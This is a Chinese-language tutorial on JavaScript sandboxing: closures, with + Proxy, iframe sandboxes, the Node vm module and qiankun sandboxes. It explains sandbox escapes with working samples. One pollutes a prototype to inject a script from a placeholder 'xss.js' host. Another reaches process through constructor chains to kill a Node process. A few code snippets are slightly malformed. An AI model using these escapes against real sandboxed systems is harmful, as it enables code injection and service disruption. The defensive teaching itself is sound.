6.2-沙盒模式
Create by fall on 17 Aug 2022 Recently revised in 23 Oct 2023
沙盒模式
简单来说沙箱(sandbox)就是与外界隔绝的一个环境,内外环境互不影响,外界无法修改该环境内任何信息,沙箱内的东西单独属于一个世界。
把一些不信任的代码运行在沙箱之内,使其不能访问沙箱之外的代码。通常开始可以把 JavaScript 中处理模块依赖关系的闭包称之为沙箱。
沙盒:页面和系统之间的隔离墙
- 浏览器被划分为浏览器内核和渲染内核两个核心模块,其中浏览器内核石油网络进程、浏览器主进程和 GPU 进程组成的,渲染内核就是渲染进程;
- 浏览器中的安全沙箱是利用操作系统提供的安全技术,让渲染进程在执行过程中无法访问或者修改操作系统中的数据,在渲染进程需要访问系统资源的时候,需要通过浏览器内核来实现,然后将访问的结果通过 IPC 转发给渲染进程;
- 站点隔离(Site Isolation)将同一站点(包含相同根域名和相同协议的地址)中相互关联的页面放到同一个渲染进程中执行;
- 实现站点隔离,就可以将恶意的 iframe 隔离在恶意进程内部,使得它无法继续访问其他 iframe 进程的内容,因此无法攻击其他站点;
构建沙盒环境
一般来讲,闭包就是一个沙盒环境
((window)=>{
var a = 10
console.log(a) // 10
})(window)
console.log(a) // error ,无法从外部访问到 a
模拟原生浏览器对象的目的是为了,防止操作原生对象。
沙箱隔离怎么做的什么原理
沙箱,即sandbox,顾名思义,就是让你的程序跑在一个隔离的环境下,不对外界的其他程序造成影响,通过创建类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。
实现沙箱的三种方法
- 借助with + new Function
首先从最简陋的方法说起,假如你想要通过eval和function直接执行一段代码,这是不现实的,因为代码内部可以沿着作用域链往上找,篡改全局变量,这是我们不希望的,所以你需要让沙箱内的变量访问都在你的监控范围内;不过,你可以使用with API,在with的块级作用域下,变量访问会优先查找你传入的参数对象,之后再往上找,所以相当于你变相监控到了代码中的“变量访问”:
function compileCode (src) {
src = 'with (exposeObj) {' + src + '}'
return new Function('exposeObj', src)
}
接下里你要做的是,就是暴露可以被访问的变量exposeObj,以及阻断沙箱内的对外访问。通过es6提供的proxy特性,可以获取到对对象上的所有改写:
function compileCode (src) {
src = `with (exposeObj) { ${src} }`
return new Function('exposeObj', src)
}
function proxyObj(originObj){
let exposeObj = new Proxy(originObj,{
has:(target,key)=>{
if(["console","Math","Date"].indexOf(key)>=0){
return target[key]
}
if(!target.hasOwnProperty(key)){
throw new Error(`Illegal operation for key ${key}`)
}
return target[key]
},
})
return exposeObj
}
function createSandbox(src,obj){
let proxy = proxyObj(obj)
compileCode(src).call(proxy,proxy) //绑定this 防止this访问window
}
通过设置has函数,可以监听到变量的访问,在上述代码中,仅暴露个别外部变量供代码访问,其余不存在的属性,都会直接抛出error。其实还存在get、set函数,但是如果get和set函数只能拦截到当前对象属性的操作,对外部变量属性的读写操作无法监听到,所以只能使用has函数了。接下来我们测试一下:
const testObj = {
value:1,
a:{
b:
}
}
createSandbox("value='haha';console.log(a)",testObj)
看起来一切似乎没有什么问题,但是问题出在了传入的对象,当调用的是console.log(a.b)的时候,has方法是无法监听到对b属性的访问的,假设所执行的代码是不可信的,这时候,它只需要通过a.b.proto就可以访问到Object构造函数的原型对象,再对原型对象进行一些篡改,例如将toString就能影响到外部的代码逻辑的。
createSandbox(`
a.b.__proto__.toString = ()=>{
new (()=>{}).constructor("var script = document.createElement('script');
script.src = 'http://xss.js';
script.type = 'text/javascript';
document.body.appendChild(script);")()
}
`,testObj)
console.log(testObj.a.b.__proto__.toString())
例如上面所展示的代码,通过访问原型链的方式,实现了沙箱逃逸,并且篡改了原型链上的toString方法,一旦外部的代码执行了toString方法,就可以实现xss攻击,注入第三方代码;由于在内部定义执行的函数代码逻辑,仍然会沿着作用于链查找,为了绕开作用域链的查找,笔者通过访问箭头函数的constructor的方式拿到了构造函数Function,这个时候,Funtion内所执行的xss代码,在执行的时候,便不会再沿着作用域链往上找,而是直接在全局作用域下执行,通过这样的方式,实现了沙箱逃逸以及xss攻击。
你可能会想,如果我切断原型链的访问,是否就杜绝了呢?的确,你可以通过Object.create(null)的方式,传入一个不含有原型链的对象,并且让暴露的对象只有一层,不传入嵌套的对象,但是,即使是基本类型值,数字或字符串,同样也可以通过proto查找到原型链,而且,即使不传入对象,你还可以通过下面这种方式绕过:
({}).__proto__.toString= ()=>{console.log(111)};
可见,new Function + with的这种沙箱方式,防君子不防小人,当然,你也可以通过对传入的code代码做代码分析或过滤?假如传入的代码不是按照的规定的数据格式(例如json),就直接抛出错误,阻止恶意代码注入,但这始终不是一种安全的做法。
- 借助iframe实现沙箱
前面介绍一种劣质的、不怎么安全的方法构造了一个简单的沙箱,但是在前端最常见的方法,还是利用iframe来构造一个沙箱
<iframe sandbox src="..."></iframe>
但是这也会带来一些限制:
-
script脚本不能执行
-
不能发送ajax请求
-
不能使用本地存储,即localStorage,cookie等
-
不能创建新的弹窗和window
-
不能发送表单
-
不能加载额外插件比如flash等
不过别方,你可以对这个iframe标签进行一些配置:
接下里你只需要结合postMessage API,将你需要执行的代码,和需要暴露的数据传递过去,然后和你的iframe页面通信就行了。
1)需要注意的是,在子页面中,要注意不要让执行代码访问到contentWindow对象,因为你需要调用contentWindow的postMessageAPI给父页面传递信息,假如恶意代码也获取到了contentWindow对象,相当于就拿到了父页面的控制权了,这个时候可大事不妙。
2)当使用postMessageAPI的时候,由于sandbox的origin默认为null,需要设置allow-same-origin允许两个页面进行通信,意味着子页面内可以发起请求,这时候需要防范好CSRF,允许了同域请求,不过好在,并没有携带上cookie。
3)当调用postMessageAPI传递数据给子页面的时候,传输的数据对象本身已经通过结构化克隆算法复制
简单的说,通过postMessageAPI传递的对象,已经由浏览器处理过了,原型链已经被切断,同时,传过去的对象也是复制好了的,占用的是不同的内存空间,两者互不影响,所以你不需要担心出现第一种沙箱做法中出现的问题。
- nodejs中的沙箱
nodejs中使用沙箱很简单,只需要利用原生的vm模块,便可以快速创建沙箱,同时指定上下文。
const vm = require('vm');
const x = 1;
const sandbox = { x: 2 };
vm.createContext(sandbox); // Contextify the sandbox.
const code = 'x += 40; var y = 17;';
vm.runInContext(code, sandbox);
console.log(sandbox.x); // 42
console.log(sandbox.y); // 17
console.log(x); // 1; y is not defined.
vm中提供了runInNewContext、runInThisContext、runInContext三个方法,三者的用法有个别出入,比较常用的是runInNewContext和runInContext,可以传入参数指定好上下文对象。
但是vm是绝对安全的吗?不一定。
const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")
通过上面这段代码,我们可以通过vm,停止掉主进程nodejs,导致程序不能继续往下执行,这是我们不希望的,解决方案是绑定好context上下文对象,同时,为了避免通过原型链逃逸(nodejs中的对象并没有像浏览器端一样进行结构化复制,导致原型链依然保留),所以我们需要切断原型链,同时对于传入的暴露对象,只提供基本类型值。
let ctx = Object.create(null);
ctx.a = 1; // ctx上不能包含引用类型的属性
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);
让我们来看一下TSW中是怎么使用的:
const vm = require('vm');
const SbFunction = vm.runInNewContext('(Function)', Object.create(null)); // 沙堆
...
if (opt.jsonpCallback) {
code = `var result=null; var ${opt.jsonpCallback}=function($1){result=$1}; ${responseText}; return result;`;
obj = new SbFunction(code)();
}
...
通过runInNewContext返回沙箱中的构造函数Function,同时传入切断原型链的空对象防止逃逸,之后再外部使用的时候,只需要调用返回的这个函数,和普通的new Function一样调用即可。
注意
闭包时有些内容需要进行注意,
eval
eval
执行的代码可以访问闭包和全局范围,因此就导致了代码注入的安全问题,因为代码内部可以沿着作用域链往上找,篡改全局变量,这不是我们希望的
new Function
new Function
中也存在类似的问题。
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(1, 2));//3
var a = 1;
function sandbox() {
var a = 2;
return new Function('return a;'); // 这里的 a 指向最上面全局作用域内的 1,不是作用域内的 2,违反沙盒的设计要求
}
var f = sandbox();
console.log(f())
Function 创建的函数只能在全局作用域中运行。它无法访问局部闭包变量,它们总是被创建于全局环境,因此在运行时它们只能访问全局变量和自己的局部变量,不能访问它们被 Function 构造器创建时所在的作用域的变量;但是,它仍然可以访问全局范围。
with
function sandbox(o) {
with (o){
c=2;
d=3;
console.log(a,b,c,d); // 0,1,2,3 // 每个变量首先被认为是一个局部变量,如果局部变量与 obj 对象的某个属性同名,则这个局部变量会指向 obj 对象属性
}
}
var f = {
a:0,
b:1
}
sandbox(f);
console.log(f);
console.log(c,d); // 2,3 c、d 被泄露到 window 对象上可以全局访问了
关键字 with
带来了内存泄漏,如果 with 内(块作用域)有值,就会在 with 内寻找,如果没有
在非严格模式下,会自动在全局作用域创建一个全局变量
in
var o = {
a : 1,
b : function() {}
}
console.log("a" in o); //true
console.log("b" in o); //true
console.log("c" in o); //false
console.log("valueOf" in o); //返回true,继承Object的原型方法
console.log("constructor" in o); //返回true,继承Object的原型属性
可以通过 in 间接读取到原型上的方法,和属性
沙箱实现
Proxy沙箱
假如可以做到在使用with
对于块内的每个变量访问都限制在沙盒条件下计算变量,从沙盒中检索变量。那么是否可以完美的解决JavaScript沙箱机制。
快照沙箱
qiankun 的 snapshotSandbox
主要用于不支持 Proxy 的低版本浏览器,原理是基于diff
来实现的,在子应用激活或者卸载时分别去通过快照的形式记录或还原状态来实现沙箱,snapshotSandbox 会污染全局 window。
legacy沙箱
遗产沙箱,用于兼容老代码
qiankun 框架 singular 模式下 proxy 沙箱实现
legacySandBox 还是会操作 window 对象,但是他通过激活沙箱时还原子应用的状态,卸载时还原主应用的状态来实现沙箱隔离,性能比快照沙箱好不用遍历 window 对象。
CSS隔离
- CSS Module
- namespace
- Dynamic StyleSheet
- css in js
- Shadow DOM 常见的我们这边不再赘述,这里我们重点提一下Shadow DO。
参考文章
作者 | 链接 |
---|---|
袋鼠云数栈UED团队 | https://juejin.cn/post/6976828400572842014 |